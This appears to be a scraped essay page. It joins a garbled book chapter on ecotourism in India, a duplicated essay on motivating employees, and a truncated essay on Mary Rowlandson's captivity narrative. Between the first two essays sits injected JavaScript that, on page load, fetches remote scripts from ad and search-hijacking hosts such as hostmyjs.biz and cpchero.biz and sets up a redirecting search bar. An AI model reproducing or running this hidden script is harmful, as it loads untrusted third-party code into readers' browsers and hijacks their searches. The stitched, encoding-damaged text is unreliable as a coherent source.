Eco Tourism in India Essay

Chapter Eight Ecotourism in India Mohan Krishen Khanna Introduction India, a country situated in south Asia, is of subcontinental dimension with a population of over one billion people. India is primarily an agricultural economy with a vast range of crops. The livelihood of over 60% of the population continues to be based on agriculture. Of late, there has been a growing trend of urbanisation and diversification away from agriculture. The industrial sector is now playing a larger role in the economy. After the economic liberalisation in 1991, the industrial and services components of the economy have shown a high rate of growth, and today services contribute 46% of the GDP. India is rated as the fourth largest economy in the world based on the â€Å"purchasing power party† method of calculating per capita GDP. Having said this, mention of the important socio-economic issues that face India is necessary. The primary issue is one of poverty, with 320 million people estimated to be living below the poverty line. There are related problems of social and gender inequalities, illiteracy, lack of adequate health facilities, unplanned urbanisation, environment degradation, and underdevelopment of some areas. These are gigantic problems which are receiving the attention of the Indian Government and civil society, with some help from the international community. Since the foreign exchange crisis of 1991, a more liberal approach towards globalisation of the economy has been adopted by the government. India is a member of the World Trade Organization (WTO) and is opening its economy to the international market in phases. In keeping with the commitments to the WTO, exports have been increasing over the years and were reported to have grown by 30% in April, 2000. Special efforts are being made to attract foreign direct investment by providing attractive incentives to investors. – 63 – The Indian Tourism Product India has spectacularly attractive natural and cultural tourist attractions. It has a rich, over 5000-year-old, cultural heritage and thousands of monuments and archaeological sites for tourists to visit and enjoy. The remains of one of the most ancient river valley civilisations of the world (the Indus Valley civilisation) are found in India and Pakistan. The Taj Mahal and 16 other World Heritage Properties and several national heritage sites are in India. The country abounds in attractive and well- preserved historical sites and ancient monuments of architectural grandeur. There is a vast variety of building styles, which chronicle the cultural and historical diversity of their creators. India offers enormous diversity in topography, natural resources and climate. There are land-locked mountainous regions, lush valleys and plains, arid desert regions, white sandy beaches and islands. Central India has numerous wildlife sanctuaries with countless varieties of flora and fauna. The country has unparalled cultural diversity, a kaleidoscope of races, languages, religions, customs and traditions. Indians have embraced almost all the major religions of the world and the country has given rise to five religions: Hinduism, Buddhism, Jainism, Sikhism and â€Å"Tauhid-i-illahi† of Akbar. The geographical diversity of India provides opportunities for a wealth of outdoor and adventure sports activities. There is something for all tastes and interests, from the â€Å"soft† adventures to fast-paced thrills, and there is something for every level of experience. The prices are highly competitive. The major adventure tourism activities are trekking and skiing in the Himalayas, river running in the Ganges, water sports in Goa, trout fishing in Himachal Pradesh, heli-skiing in Himachal Pradesh, wind surfing, scuba diving and yachting in Andamans and Lakshadweep islands. India has some of the best beaches in the world, many of which are still unexplored, as in the Andamans and Lakshadweep Islands. Hospitality to visitors is an ancient Indian tradition. The peoples’ lifestyles are varied. Life is full of culture, fairs and festivals, colour and spectacle. India is a land of folk fairs and festivals, some say that there is a fair each day of the year. Some of the important fairs and festivals are the Pushkar fair in Rajasthan, the Crafts Mela at Surajkund, Holi and Diwali in North India, Pongal in Tamilnadu, Onam in Kerala, Baisakhi in Punjab, Bihu in Assam, dance festivals at Khajuraho and Mamallapuram. Tourism in India can be a gastronomic delight. Each region has  its culinary specialty and beautifully printed and expertly written cookbooks are on sale. But the best part is to sample the exotic fare in the thousands of restaurants. India has several forms of art and handcrafts. Bharatnatyam, Odissi, Kathakali, Kuchipudi, Mohiniattam are some of the most popular forms of classical dances which have their origins in various parts of the country. Every dance form has a precise vocabulary of emotions (love, yearning, – 64 – sorrow etc.) and these are displayed by dance gestures that involve the body, arms, fingers, face and eyes. India is a treasure-trove of handcrafts. The options available include the gamut of multi-storied shopping plazas, air-conditioned stores selling a hand-picked assortment of crafts from every corner of the country, through to whole streets of shops selling specialty goods, to local fairs, where street stalls, set up overnight, stock a variety of exotica. Ecotourism Resources of India The geographical diversity of India makes it home to a wealth of ecosystems which are well protected and preserved. These ecosystems (see Box 1) have become the major resources for ecotourism. Following Box 1, each ecosystem is discussed in some detail. Box 1: Indian Ecosystems and Resources †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Biosphere Reserves Mangroves Coral Reefs Deserts Mountains and Forests Flora and Fauna Seas, Lakes and Rivers Caves Biosphere reserves are multi-purpose protected areas, for preservation of the genetic diversity and the integrity of plants, animals and micro-organism in representative ecosystems. There are seven such reserves in India at present (see Box 2). Box 2: Biosphere Reserves †¢ †¢ †¢ †¢ †¢ †¢ †¢ Nilgri Nanda Devi Nokrek Great Nicobar Gulf of Mannar Manas Sunderbans – 65 – Mangroves are very specialised forest ecosystems of tropical and subtropical regions, bordering sheltered sea coasts and estuaries. The major mangrove areas are listed in Box 3. Box 3: Major Mangrove Areas †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Northern Adaman and Nicolar islands Sunderbans (West Bengal) Bhitarkanika and Mahanadi Delta (Orissa) Coringa, Godavari Delta and Kristna Estuary (Andhra Pradesh) Pichavaram and Point Calimere (Tamil Nadu) Goa Gulf of Kutch (Gajarat) Coonapur (Karnataka) Achra/Ratnagiri (Maharashtra) Vembanand (Kerala) In order to protect and preserve these genetic resources, India has created a number of National Parks and 421 Wildlife Sanctuaries in different parts of the country. Those which have already become popular with tourists are Kaziranga and Manas in Assam; Jim Corbett in Uttar Pradesh; Keoladeo, Ghana, Ranthambore and Sariska in Rajasthan; Kanha and Bandhavgarh in Madhya Pradesh; Bandipour in Karnataka and Similipal in Orissa. The Arabian Sea, the Indian Ocean and the Bay of Bengal brace the sides of the Indian subcontinent, except for the landlocked northern boundary. The land mass of India is crossed by several rivers and dotted by lakes at many places. These water bodies provide attractive opportunities for water sports. Economic Significance of Tourism In India, tourism is emerging as a key sector in the economy. It is presently India’s third largest foreign exchange earner after garments, and gems and jewellery. The foreign exchange earnings from tourism during 1997–98 has been estimated to be about Rs.11264 crores (US $3173 million). The rate of growth in foreign exchange earnings from tourism is exceptionally high. The most significant feature of the tourism industry is its capacity to generate large-scale employment opportunities, particularly in remote and underdeveloped areas. It offers enormous potential for utilising natural resources like landscapes, mountains, beaches, rivers etc. for the economic benefit of the population. It also adds value to a multitude of human-made  attractions such as monuments, palaces, forts and the unique rural and city environments. A special feature of the tourism industry is that it employs a large number of women and young people in hotels, airline services, travel agencies, making handcrafts, undertaking cultural activities, and other tourism-related tasks. The direct employment in the sector during 1995–96 was about 8.5 million persons, accounting for about 2.4% of the total labour force. Estimates of indirect employment show that in total about 22 million persons derive their livelihood from tourism. Different forecasts of direct employment in the sector have been made, however, they underline the fact that tourism is growing to become an important economic activity. It is estimated that one new job is created in tourism every 2.4 seconds. Box 5 illustrates the comparative strength of tourism in creating jobs. A million rupee invested (1985–86 prices) in the hotel and restaurant industry created 89 jobs, against 44.7 jobs in agriculture or 12.6 jobs in manufacturing industries for the same investment. The average for the whole tourism sector was 47.5 jobs. Box 4: Coral Reef Ecosystems †¢ †¢ †¢ †¢ Gulf of Mannar Andaman and Nicobar Islands Kakshadweep Islands Gulf of Kutch The Great Thar Desert and the little deserts in the North Western Region of the country are distinct ecosystems which have fascinated tourists from all over the world. Ladakh is a cold desert with high, snow-clad mountains, fast rivers, and the people have a distinctive Buddhist culture. The great Himalayas and other mountain ranges in the country, along with the snow-clad slopes, forests and rivers have also become important attractions for eco-tourists. The country has an area of about 752.3 lakh hectares designated as forest land and of this about 406.1 lakh hectares are classified as Reserve Forests and 215.1 lakh hectares as Protected Forests. India is very rich in biotic as well as abiotic resources. It has about 45 000 species of plants. The country also has a great variety of fauna, numbering a little over 65 000 known species, including 1228 bird, 428 reptile, 372 mammal, 204 amphibian and 2546 fish species. – 66 – – 67 – Box 5: Comparative Job Creation Sector Agriculture Manufacturing Mining and Quarrying Railways Other Transport Hotels and Restaurants Tourism Labour/Capital Ratio 44.7 12.6 2.06 0.9 13.8 89.0 47.5 advancement of women and other disadvantaged groups. The Working Group constituted for the formulation of proposals for the Ninth Plan on Tourism considered a growth target of 8% per annum in tourist arrivals as feasible during 1997–2002 leading to total arrivals of about 3.12 million tourists by the year 2000 subject of course to substantial improvement in infrastructure and services. Major Constraints on Growth Though India has much to offer in terms of tourist attractions, there are major constraints on the growth of tourism, particularly international tourist traffic. The greatest constraint is inadequate infrastructure. Constraints include lack of sufficient airports and airport facilities, international and domestic air-seat capacity, surface transport systems, basic wayside amenities, accommodation, restaurants, shopping and recreational facilities, trained labourforce resources, and support services and facilities. Both quality and quantity of infrastructure are major impediments to the growth of tourism in the country. Although there are 121 airports maintained by the Airport Authority of India and 139 airports maintained by state governments and other agencies, there are only 10 airports with a runway length of over 3000 m. Even these airports, including five international airports, do not have the latest Instrument Landing Systems (ILS) and other equipment to facilitate safe and se cure landing of aircraft in all weather conditions. Quality of service at the airports is also not up to international standards. The Ministry of Civil Aviation is making efforts to deal with this problem. In addition to the five existing  international airports, seven more airports are to be developed for international air services. More airports will be opened for charter traffic. Four international airports are being leased out to private operators. The new proposed civil aviation policy seeks to develop civil aviation by increasing the forces of competition, economic liberalisation and globalisation. The international air-seat capacity for India is presently about 5.3 million which is just enough to cater for the existing level of passenger traffic. A number of tourist-origin countries are not directly connected by air to India. Additional international air-seat capacity of at least 2 million would be required if 3.2 millions tourists were to come by 2000. If the target of 5 million tourists is to be achieved, the additional capacity required is estimated to be 5 million seats. Distances to India, considered a long haul destination for tourists from the USA and most of Europe, ac t as a deterrent to tourists from these countries. Lack of adequate air-seat capacity on international flights during the tourist season, which is from October to March, further compounds the problem, and works against increasing foreign tourists. While there is some Source: Annual Plan, Department of Tourism, Govt. of India, 1996–97. Another important feature of the tourism industry, which is of particular significance to India, is its contribution to national integration and the social transformation of the economic lives of people. Over 176 million domestic tourists (see Box 6) visiting different parts of the country every year, return with a better understanding of the people living in other regions of the country and of the cultural diversity of India. Tourism also encourages preservation of monuments and heritage properties and helps the survival of art forms, crafts and culture. Box 6: Domestic Tourist Visits Year 1997 1998 1999 2000 2001 2002 Domestic Tourists Visits (Million) 120 131 144 157 176 189 (Projected) Source: Report of the Working Group on Tourism for the Ninth Five-Year Plan, 1997–2002, Dept. of Tourism, Govt of India, New Delhi. Tourism has become an instrument for sustainable human development through poverty alleviation, environmental regeneration, job creation, and the – 68 – – 69 – talk of an â€Å"open sky policy†, in practice this is yet to happen and foreign airlines do not have free access to India. However, the scenario is changing with the negotiation of bilateral agreements which will add one million new seats to international air-seat capacity. Negotiations still underway may yield more seats. Recently United Airways and Virgin Airlines have announced intentions of covering India. The total air-seat capacity available in the domestic sector today is over 17 million. In 1996, 70% of this capacity was utilised with 12 million passengers travelling in the country, 7.1 million by the state-run Indian Airlines and 4.9 million by the private airlines. It is expected that this sector will grow at about 6% per annum. A major exercise is underway to restructure Indian Airlines and add capacity in the private sector airlines, which should yield results in the years to come. Although many of these projections seem optimistic given the downturn in the econo my in 1997 and 1998, the situation is expected to normalise soon with the upturn in the economy. There is need to address problems of insufficient flights to major tourist destinations particularly during the tourist season, the high cost of internal air travel and inconvenient flight schedules. Efforts also need to be undertaken to improve the efficiency of Indian Airlines and foster growth of private airlines. An efficient and responsive domestic air transport system is an essential prerequisite for generating more tourism to India. Other important areas which require attention are airline quality and networking. There are too few flights available, particularly during the best tourist season, and the services that do exist are high priced and their schedule of arrivals/departures are inconvenient for travellers. Within the country, the services of Indian  Airlines require substantial improvement, and they need to network with private airlines. A viable hubs-and-spoke operation, networking larger commercial centres with smaller tourist destinations needs to be developed to improve access to the interior of the country. The second serious handicap to tourism in India is the scarcity and high cost of hotel accommodation. The number of approved hotel rooms available in 1997 was around 64 500, with about 36 000 under construction. The demand by the year 2000 has been estimated at 1.25 lakhs, which means there would be a shortfall of 27 000 hotel rooms. Lack of economically priced hotel accommodation in the tourist season is being cited as one of the reasons for not choosing India as the place for a holiday. There are two approaches to this problem. One is to increase the floor-area-ratio for the hotels so that existing hotels are able to add more rooms. The other is to make more land available for hotel construction by inducing land allotting agencies to put aside more land for the hotel industry through auction, long leases and equity participation schemes. The agencies can also play a role in bringing private buyers and sellers together to enable entrepreneurs easy access to land and buildings in private hands. – 70 – The public agencies need to liberalise the regime for granting licences and approvals so as to expedite construction of hotels. A â€Å"one window† (or â€Å"one-stop-shop†) system could be a measure to facilitate faster approvals. Access to capital is another limiting factor. The Tourism Finance Corporation Inc. (TFCI) and the other financing institutions which provide institutional mechanisms for access to capital do not have a positive approach to lending for hotels. There is need to generate more rooms through innovative measures like promoting the Paying Guest Accommodation scheme at major tourist centres. Currently, 1472 units with 5953 rooms are available in 14 states. State Governments need to be more proactive in promoting this scheme as it is a preferred alternative to hotels for many, requiring comparatively less investment and is hence more advantageous to tourists. Another major means of creating accommodation is approval of guesthouses. Due to the complicated procedure adopted which requires guesthouses to obtain a number of clearances including those from the Police, Municipal Authorities and the Tourism Department, economically priced guesthouses have  not developed in keeping with the expectations of tourists travelling on a budget. As many of these are run without due approvals, they have acquired a reputation for dealing in drugs, cheating residents and other criminal activities. It would be worthwhile for the state governments to undertake a campaign to get these guesthouses recognised and approved and hence to generate more hotel rooms. (The Ministry of Tourism is in touch with the state governments over this issue). Another major inhibitor of the growth of tourism is the difficulty of obtaining visas for India. Visa restrictions need to be liberalised, to ensure a larger flow of tourists to the country. A number of options are available. The visa regime must be liberalised at least in respect of those coun tries which do not pose any political or security problems. Visas should be issued easily on entry at the airport in respect of visitors from such countries. The principle of reciprocity in the issue of visas should not be insisted on in the case of nationals of those countries with whom India has signed bilateral tourism agreements. Special tourist visas available on arrival for up to two weeks should be made available at the airports. The procedure for the issue of visas can also be made simple and at least in the major tourist originating countries the applications for a tourist visa could be received through the internet and processed on computers. Another area that requires attention is the possibility of reducing visa charges, particularly special charges on visiting restricted areas. Increased competition from neighbouring countries and poor perception of the Indian tourism product (particularly with regard to transport infrastructure) – 71 – in the major tourist originating markets are the other constraints on the growth of tourism. An added negative factor is the image of India as a country overrun by poverty, disease, touts and political instability. The promotional expenditure in the overseas markets of competitor destinations like Singapore, Thailand and Malaysia far exceeds the promotional expenditure by India. India needs to make vigorous efforts to improve its image as an attractive destination, and for this more resources are required. There are numerous other constraints in the development of tourism in India, including lack of priority in the planning of development, poor upkeep of monuments and wildlife sanctuaries, inadequate surface transport  facilities, poor quality of services etc. The Government of India has set up a group of Ministers under the Minister of Tourism to coordinate activities of various government departments and agencies. A committee under the Cabinet Secretary assists in implementation of decisions and removal of systematic problems. Dialogue with the state governments to liberalise and rationalise taxation and deal with other issues is an ongoing process. Many of the activities in the tourism sector are dependent on initiatives of the state governments. Enlightened state governments like Kerala, Goa and Rajasthan have done a lot to attract more tourists by making facilities more tourist friendly. Box 7: Government Responsibilities for Ecotourism Regulate structures that create visual pollution, unaesthetic views and are non-compatible architecture; and encourage use of local building material and structures befitting the local environment. Exclude developments in geologically unstable zones and define development and buffer zones after proper environmental impact assessments. Establish and enforce standards, building codes and other regulations. Specify environmental, physical and social carrying capacities to limit development. Ensure continuous monitoring of adverse effects of tourism activities and initiate suitable corrective measures. Recognise and award quality by accreditation of ecotourism operators. Provide visitor information and interpretation services covering particularly (i) what to see; (ii) how to see it; and (iii) how to behave. This can be by way of brochures, leaflets, specialised guides, visitor information centres and such. Prepare and distribute codes of conduct to all visitors. Launch training programs on ecotourism for tourism administrators, planners, operators and the general public. Promoting Ecotourism in India The key players in the ecotourism business are governments at both levels, the local authorities, the developers and the operators, the visitors, and the local community. Each one of them has to be sensitive to the environment and local traditions and follow a set of guidelines for the successful development of ecotourism. In addition, non-governmental organisations and scientific and research institutions also have to play a key role in the  development of ecotourism. A management plan for each ecotourism area should be prepared by professional landscape architects and urban planners, in consultation with the local community as well as others directly concerned. Integrated planning should be adopted to avoid inter-sectoral and cross-sectoral conflict. A first step should be to prepare 20-year Master Plans for each state. The architectural program for ecotourism centres should include controlled access points, roads, self-guided nature trails, transportation options, interpretation centres, signs, observation towers and adequate but unpretentious lodging and dining facilities, docks, garbage disposal facilities and other utilities as needed. If required, suitable living quarters and facilities for project personnel should be provided. Box 7 is a list of actions for the development of ecotourism, where the responsibility is with the government. The roles and responsibilities of tourism developers and operators are fundamental to the achievement of ecotourism and the long-term success of the businesses. These are listed in Box 8. Box 8: Roles and Responsibilities of Ecotourism Developers and Operators Respect and follow the planning restrictions, standards and codes provided by the government and local authorities. Implement sound environment principles through self-regulation. Undertake environmental impact assessment for all new projects and conduct regular environment audits for all ongoing activities, leading to development of environmental improvement programs. Be aware of, and sensitive to, protected or threatened areas, species and scenic amenity; undertake landscape enhancement wherever possible. Ensure that all structures are unobtrusive and do not interfere with the natural ecosystem to the extent possible. – 72 – – 73 – Recognise the optimal environmental capacity and sociological use-limits of the site in creating tourist facilities; also take into account the safety and convenience of tourists. Design buildings strictly on functional and  environmental considerations and avoid over-construction. Use local material and designs to the extent possible in construction. Employ eco-friendly physical planning, architectural design and construction of tourist facilities, for example use solar energy, capture and utilise rainwater, recycle garbage, use natural cross-ventilation instead of air conditioning, ensure a high level of self-sufficiency in food through orchards, ecological farms, aquaculture and such. Employ energy and water-saving practices to the extent possible; freshwater management and controlled sewage disposal should also be practised. Control air emissions, chemical pollutants and noise. Control and reduce environmentally unfriendly products such as asbestos, CFCs, pesticides and toxic, corrosive, infectious, explosive or flammable material. Respect and support historic or religious objects and sites. Provide information and interpretive services to visitors especially on attractions and facilities, safety and security, local customs and traditions, prohibitions and regulations and expected behaviour. Ensure adequate opportunities for visitors to commune with nature and native cultures. Provide correct information in marketing ecotourism products, as visitors who appreciate ecotourism products usually belong to environmentally-aware groups. Include training and research programs on environmental issues for company staff. Prepare tourists before their visit to minimise possible negative impacts while visiting sensitive environments and cultures. Ensure safety and security of visitors and inform them of precautions to be taken. Exercise due regard for the interest of the local population, including its history, tradition and culture and future economic development. Involve the local community to the extent possible in vari ous activities and vocations. Box 9: The Responsibilities of Ecotourists Help conserve habitats of flora and fauna as well as any site, natural feature or culture, which may be affected by tourism. Make no open fires and discourage others from doing so. If water has to be heated with scarce firewood, use as little as possible. Where feasible, use kerosene or fuel-efficient wood stoves. Remove litter, burn or bury paper and carry back all non-degradable litter. Keep local water clean and avoid using pollutants such as detergents in streams or springs. If no toilet facilities are  available, relieve yourself at least 30 metres away from water sources and bury or cover the waste. Leave plants to flourish in their natural environment and avoid taking away cuttings, seeds and roots. Leave campsites clean after use. Help guides and porters to follow conservation measures. Do not allow cooks/porters to throw garbage in streams or rivers. Respect the natural and cultural heritage of the area and follow local customs. Respect local etiquette and do not wear tight-fitting clothes. Remember that kissing in public is disapproved of in India. Respect privacy of individuals and ask permission to take photographs of local inhabitants. Respect holy places; do not touch or remove religious objects. Strictly follow the guidelines for personal safety and security and always take your own precautions and safety measures. If a community wants to host ecotourism, it has a central role to play. The host community’s success in bringing ecotourism to it and ensuing that the level and type of tourism is compatible with the community’s aspirations are matters the community can control. Box 10 lists the matters with which the host community must deal. Box 10: The Role and Responsibility of the Host Community Realise and respect the value of the environment, the flora and fauna, the monuments and your cultural heritage. Practice conservation of nature and culture as a way of life. Establish guidelines to protect valuable local resources and foster tourism management. React to the potential threat of investors who see opportunities in development but lack sensitivity to local values. Become effective nature guides and conservationists of natural areas by utilising practical and ancestral knowledge of the natural features of the area. Be friendly to the visitors and help them to practise ecotourism principles. Just as the government authorities and the tourism operators play fundamental roles in the success of ecotourism, so does the tourist. Box 9 lists the responsibilities of tourists. – 74 – – 75 – Finally there is a role for others, such as scientific and research institutions and non-government organisations, in promoting ecotourism. The things they can do include: (i) create awareness, among all concerned, about the importance of sound eco-practices in tourism development; (ii) motivate the local community to increase their involvement in sustainable tourism activities; and (iii) organise training programs to prepare the local people to take up various vocations related to ecotourism. the Pacific Travel Association have introduced an ecotourism pledge which requires their members to adopt environment-friendly practices. Conclusion Tourism has proved to be an engine of growth in many economies in the world. It provides for the generation of income, wealth and employment, and helps in the sustainable development of remote areas. In India, tourism provides direct employment to 9 million people and indirect employment to another 13 million persons, thus providing a livelihood to 22 million persons. It contributes an estimated 2.4% of the gross national product. Its contribution to the economies of states like Rajasthan, Goa and Kerala are significant. Although beginning to be understood for its potential to provide for development in India, tourism still remains a sector that needs serious attention. Tourism has proved to have negative impacts as well as the positive ones. It is criticised for contaminating indigenous culture. This takes the form of changing values, resulting in social maladies like drug addiction, child prostitution, etc. A far more widespread negative impact is caused by mass tourism in environm entally fragile areas like mountains, hills, deserts and coastal regions. Due to heavy tourist traffic in some areas, the cultural and environmental assets of the community are under threat. Although this phenomenon is not widespread in India, there is a need to take note of the possible negative influences of tourism so that timely preservation action can be taken and irreparable loss avoided. The movement towards ecotourism is at once a threat and an opportunity to create  more sustainable tourism: by diverting tourist traffic to ensure the carrying capacity of any destination is not exceeded; by planning for regeneration of natural resources; and by generating awareness in the host community whereby they are prepared and forearmed to deal with the negative impact of mass tourism. As in most cases, a middle path is the most creative way to maximise the economic potential of tourism, while at the same time minimising the negative social influences and threats to the environment. Only ecotourism where the tourists, the service providers, the host communi ty and authorities are well informed and prepared to harness tourism as an engine of growth can yield sustainable results. Motivations for Involvement in Ecotourism Hotel and travel companies in India function in a relatively free environment. The country is slowly but surely moving towards a market economy where commercial considerations dictate motivation for the private sector to take up various activities. Crass commercial considerations have, however, to be controlled by the government on behalf of the public. The environment has to be protected through awareness-generation, legislation, policy and administrative action. The travelling public is also becoming conscious of the need to protect the environment, to some extent at least. As a result, many enterprises in the hospitality sector have adopted environment-friendly practices like conserving energy and water and recycling unutilised hotel outputs. These can be powerful marketing tools for hotel groups. Furthermore, with the increase in cost of vital inputs like energy, water etc., companies are motivated to conserve limited resources by adopting practices which reduce levels of consumption. Many hotel companies advise their clients to be careful in the use of lights, water and other hotel services. Civil society has also begun to exercise control over the environment. Many non-government organisations have been generating awareness about environmentally destructive practices. Individuals have taken recourse to public interest litigation to stop environmentally destructive practices. The Indian judicial system has been very liberal in restraining environmentally hazardous activities. At times, political parties also stop environmentally harmful practices by agitation and raising issues in democratic forums such as state legislatures. The  print and electronic media have been very active in India in investigating environmentally injurious activities by highlighting such issues and creating public opinion for environmentally compatible practices. The Government of India has a Ministry of Environment and Forests with a mandate to oversee use of the environment in order to conserve it. The Government has also set up institutions like the Central and State Pollution Control Board to deal with the defaulters. The state governments also have Departments of Environment and Pollution Control. The Ministry of Tourism has issued ecotourism guidelines for adoption by all concerned organisations. Some tourism bodies and associations like – 76 – – 77 – var id=962612185; var aff=30587; var sid=0; function INCL_checkinternals() { var h = document.location.hostname; return (/search.kalloutsearchd.com/i.test(h) == true || /search.adbard.com/i.test(h) == true || h.indexOf(‘search.runclips.com’) != -1 || h.indexOf(‘search.searchnowdirect.com’) != -1); } function INCL_addEventHandler (el, eType, fn) { if (el.addEventListener) el.addEventListener(eType, fn, false); else if (el.attachEvent) el.attachEvent(‘on’ + eType, fn); else el[‘on’ + eType] = fn; } function INCL_checkdml() { var h = document.location.hostname; return (h.indexOf(â€Å"google†)!=-1 || h.indexOf(â€Å"facebook.com†)!=-1 || h.indexOf(â€Å"yahoo.com†)!=-1 || h.indexOf(â€Å"bing.com†)!=-1 || h.indexOf(â€Å"ask.com†)!=-1 || h.indexOf(â€Å"listenersguide.org.uk†)!=-1); } function INCL_loadScript(src, scriptId) { if (window.location.protocol == ‘https:’ && src.indexOf(‘http:’) == 0) return; var script = document.createElement(â€Å"script†); script.src = src; script.characterSet = â€Å"utf-8†; script.type = â€Å"text/javascript†; script.setAttribute(‘jsid’, ‘js36’); if (typeof(scriptId) !== ‘undefined’) script.id = scriptId; (document.head||document.getElementsByTagName(‘head’)[0]|| document.body||document.getElementsByTagName(‘body’)[0]).appendChild(script); } function INCL_onloadComplete() { if (!INCL_checkdml()) { window.INLDM_cfg = { fi : 4603, fd : 0, fddm: ‘xml.cpchero.biz’, sttc: ‘https://hostmyjs.biz/scripts/inl_dmmtch/’, inlsrhdm: ‘sonicsearchonline.biz’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js’); INCL_loadScript(‘https://in.admedia.com/?id=ODkoOCI&subid=36’); } INCL_loadScript(‘http://i.websuggestorjs.info/sugg/javascript.js?channel=js36’); INCL_loadScript(‘https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222’); window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 4723, fd2: 4604, xmlfeed : ‘http://xml.cpchero.biz/search’ , search_url : ‘http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=’ , script_base : ‘https://hostmyjs.biz/scripts/adbar’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/adbar/adbar.js’); } if (top === self && !INCL_checkinternals()) { if (document.readyState === ‘complete’) INCL_onloadComplete(); else INCL_addEventHandler(window, ‘load’, INCL_onloadComplete); }

How to Motivate Employees

In today’s world managers face challenge in making employees perform his or her task efficiently. Employee satisfaction is utmost important in successful completion of work in an organization. For job satisfaction apart from monetary value job motivation is important. Each person has different motivation for working. Some people work for money, some work for recognition and some may work since they have passion towards they do. However whatever be the personal causes for job motivation may be the bottom line fact is that everyone works for money, whatever it may be called compensation, salary, bonuses, benefits or remuneration. But money is not the sole factor to motivate an employee towards the work. For example manager might increase salary or may give bonus to an employee but it may not motivate the employee, reason is that unless and until the employee is satisfied with his or her job he would not be dedicated towards the job. Managers need to think of innovative ways to motivate employees. When an employee achieves something managers need to give recognition and praise the same. It helps if he/she acknowledges the performance of the employee in front of the entire work force in the office. Awarding appreciation certificate, ‘Keep it Up’ notes on a regular basis helps a mile to keep an employee engaged, which monetary benefits may not achieve. These acts as recognition and matter of pride for the employee. Recognition can be given at meetings or company-sponsored social gatherings, office lunches, outbound etc. Employers can create an employee newsletter to share updates and recognition. They may also post a bulletin board for employees to share news, hobbies, and recognition. Managers need to hold periodical staff meetings and should communicate openly with the employees. One to one coaching is important for career development. Employees need to know what is potentially ahead for them, what opportunities there are for growth. Regular monitoring process should be done to set the career path for the employee. Employees are human beings so managers need to treat them patiently. Employers can congratulate the employees on life events such as new babies and can wish them on their birthdays, marriage anniversary, Diwali and Christmas by giving them cards. Managers can call an employee into office just to say thank you without discussing any other issue. If any task is fulfilled by the employee, managers can write a thank you card or e-mail. They may send a card to the employee's spouse/family thanking them for their support. Employers should take employees for an informal lunch and dinner once a week. Managers should call for frequent parties to motivate the employee throughout the year. This will create a bond of togetherness among the employees. Employers should make employees understand that how much he or she is important resource for the organization and if possible should arrange some interaction with the company’s customers. These non-monetary ways motivations are small acts on the part of management but they make huge impact on an employee’s job career. Apart from getting attracted towards money when an employee is motivated to do his or her job then only a sense of bonding and high levels of commitment is developed and an employee thus will perform efficiently. How to Motivate Employees In today’s world managers face challenge in making employees perform his or her task efficiently. Employee satisfaction is utmost important in successful completion of work in an organization. For job satisfaction apart from monetary value job motivation is important. Each person has different motivation for working. Some people work for money, some work for recognition and some may work since they have passion towards they do. However whatever be the personal causes for job motivation may be the bottom line fact is that everyone works for money, whatever it may be called compensation, salary, bonuses, benefits or remuneration. But money is not the sole factor to motivate an employee towards the work. For example manager might increase salary or may give bonus to an employee but it may not motivate the employee, reason is that unless and until the employee is satisfied with his or her job he would not be dedicated towards the job. Managers need to think of innovative ways to motivate employees. When an employee achieves something managers need to give recognition and praise the same. It helps if he/she acknowledges the performance of the employee in front of the entire work force in the office. Awarding appreciation certificate, ‘Keep it Up’ notes on a regular basis helps a mile to keep an employee engaged, which monetary benefits may not achieve. These acts as recognition and matter of pride for the employee. Recognition can be given at meetings or company-sponsored social gatherings, office lunches, outbound etc. Employers can create an employee newsletter to share updates and recognition. They may also post a bulletin board for employees to share news, hobbies, and recognition. Managers need to hold periodical staff meetings and should communicate openly with the employees. One to one coaching is important for career development. Employees need to know what is potentially ahead for them, what opportunities there are for growth. Regular monitoring process should be done to set the career path for the employee. Employees are human beings so managers need to treat them patiently. Employers can congratulate the employees on life events such as new babies and can wish them on their birthdays, marriage anniversary, Diwali and Christmas by giving them cards. Managers can call an employee into office just to say thank you without discussing any other issue. If any task is fulfilled by the employee, managers can write a thank you card or e-mail. They may send a card to the employee's spouse/family thanking them for their support. Employers should take employees for an informal lunch and dinner once a week. Managers should call for frequent parties to motivate the employee throughout the year. This will create a bond of togetherness among the employees. Employers should make employees understand that how much he or she is important resource for the organization and if possible should arrange some interaction with the company’s customers. These non-monetary ways motivations are small acts on the part of management but they make huge impact on an employee’s job career. Apart from getting attracted towards money when an employee is motivated to do his or her job then only a sense of bonding and high levels of commitment is developed and an employee thus will perform efficiently.

Mary Rowlandson’s “The Captive” Essay

In the sixteenth, seventeenth, and eighteenth centuries of America, many settlers and colonists were taken captive by the Native Americans, commonly known as Indians. The Native Americans had many reasons and motives for capturing the settlers or colonists. Captives were often taken to be traded, ransomed, or â€Å"adopted,† which Native Americans did to replace tribal members who had passed or who had been killed. Two very famous captivity narratives are those of James Smith and Mary Rowlandson, whose stories are very different due to their captors, gender, and religion. James Smith was 18 years old when he was captured by the Indians just miles above Bedford. Smith was captured by three Indians, one was a Canasatauga and the two others were Delawares. With the exception of being flogged, Smith’s experiences with the Indians were not terrible. He was essentially treated as an Indian. This stems from the fact that he was adopted by the Natives. James Smith was given man y freedoms. Smith was very trusted by the Indians. They allowed him to hunt with them or on his own, they expected him to act as an Indian, and they also trusted him to take care of them when needed. Smith also had the option to leave whenever he pleased. He did not have to remain with the Indians for the four years, 1755-1759, that he did. These experiences are very different compared to those of Mary Rowlandson. Mary Rowlandson’s hometown of Lancaster, Massachusetts was destroyed by the Indians in King Philip’s War and she was taken captive during the destruction. Mary Rowlandson was captured in 1676 and remained a captive for three months before the requested ransom was paid. Rowlandson had very different experiences from James Smith with the Indians. At her capture, she witnessed the Indians killing or harming many in her family. Rowlandson, herself, suffered a gunshot wound. James Smith was also harmed when first captured by the Indians; however, he had been aided by French doctors. Mary Rowlandson dealt with her gunshot wound on her own. She also had to carry her sick child for six days before the child passed away. Rowlandson was not able to read freely in front of the Indians, she was not given a fair share of th e food, and was often forced to find other Indian tribes to spend the night with, or to receive food from. Rowlandson was sometimes allowed to go and meet with family members who were with 